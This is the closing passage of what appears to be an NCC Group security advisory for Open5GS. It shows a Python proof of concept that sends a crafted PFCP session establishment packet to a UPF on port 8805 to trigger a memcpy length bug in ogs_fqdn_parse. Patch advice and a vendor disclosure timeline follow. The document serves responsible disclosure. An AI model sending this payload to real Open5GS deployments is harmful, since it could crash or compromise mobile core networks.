pfcp_session_establishment_req = b'\x21\x32\x00\xef\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x3c\x00\x05\x00\xc0\xa8\x3f\x88\x00\x39\x00\x0d\x5a\x00\x00\x00\x00\x00\x00\x00\x01\xc0\xa8\x3f\x88\x00\x01\x00\x46\x00\x38\x00\x02\x00\x01\x00\x1d\x00\x04\x1f\x00\x00\x00\x00\x02\x00\x27\x00\x14\x00\x01\x00\x00\x15\x00\x09\x01\x00\x00\x00\x0a\xc0\xa8\x3f\x88\x00\x16\x00\x08\x69\x6e\x74\x65\x72\x6e\x65\x74\x00\x5d\x00\x05\x02\x2d\x2d\x00\x02\x00\x5f\x00\x01\x00\x00\x6c\x00\x04\x00\x00\x00\x01\x00\x01\x00\x34\x00\x38\x00\x02\x00\x02\x00\x1d\x00\x04\x1f\x00\x00\x00\x00\x02\x00\x1a\x00\x14\x00\x01\x01\x00\x16\x00\x08\x69\x6e\x74\x65\x72\x6e\x65\x74\x00\x5d\x00\x05\x06\x2d\x2d\x00\x02\x00\x6c\x00\x04\x00\x00\x00\x02\x00\x03\x00\x16\x00\x6c\x00\x04\x00\x00\x00\x01\x00\x2c\x00\x01\x02\x00\x04\x00\x05\x00\x2a\x00\x01\x01\x00\x03\x00\x24\x00\x6c\x00\x04\x00\x00\x00\x02\x00\x2c\x00\x01\x02\x00\x04\x00\x13\x00\x2a\x00\x01\x00\x00\x54\x00\x0a\x01\x00\x00\x00\x00\x0a\xc0\xa8\x3f\x88\x00\x71\x00\x01\x01'

sock.sendto(pfcp_association_setup_req, ('127.0.0.7', 8805))
try:
   sock.recv(65535)
except Exception as ex:
   print(f"Receive failed: {ex}")

sock.sendto(pfcp_session_establishment_req, ('127.0.0.7', 8805))
try:
   sock.recv(65535)
except Exception as ex:
   print(f"Receive failed: {ex}")

sock.close()

Recommendation

The function ogs_fqdn_parse needs to correctly calculate/validate the length used in the memcpy function.Β  This has been patched as of October 6th 2021 (fix committed to main branch of Open5GS and released in version 2.3.4).

Users should update to the most recent version 2.3.4 or above of Open5GS.

Vendor Communication

29/09/2021: Initial email sent to Open5GS
29/09/2021: Open5GS replied with PGP Key
30/09/2021: Sent Technical Advisory to Open5GS
30/09/2021: Technical Advisory received by Open5GS
01/10/2021: Bug fixed by Open5GS
06/10/2021: Open5GS version 2.3.4 released - fixes bug

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date: Β 06/10/2021

Written by:Β  Mark Tedman

  • There are no more articles
❌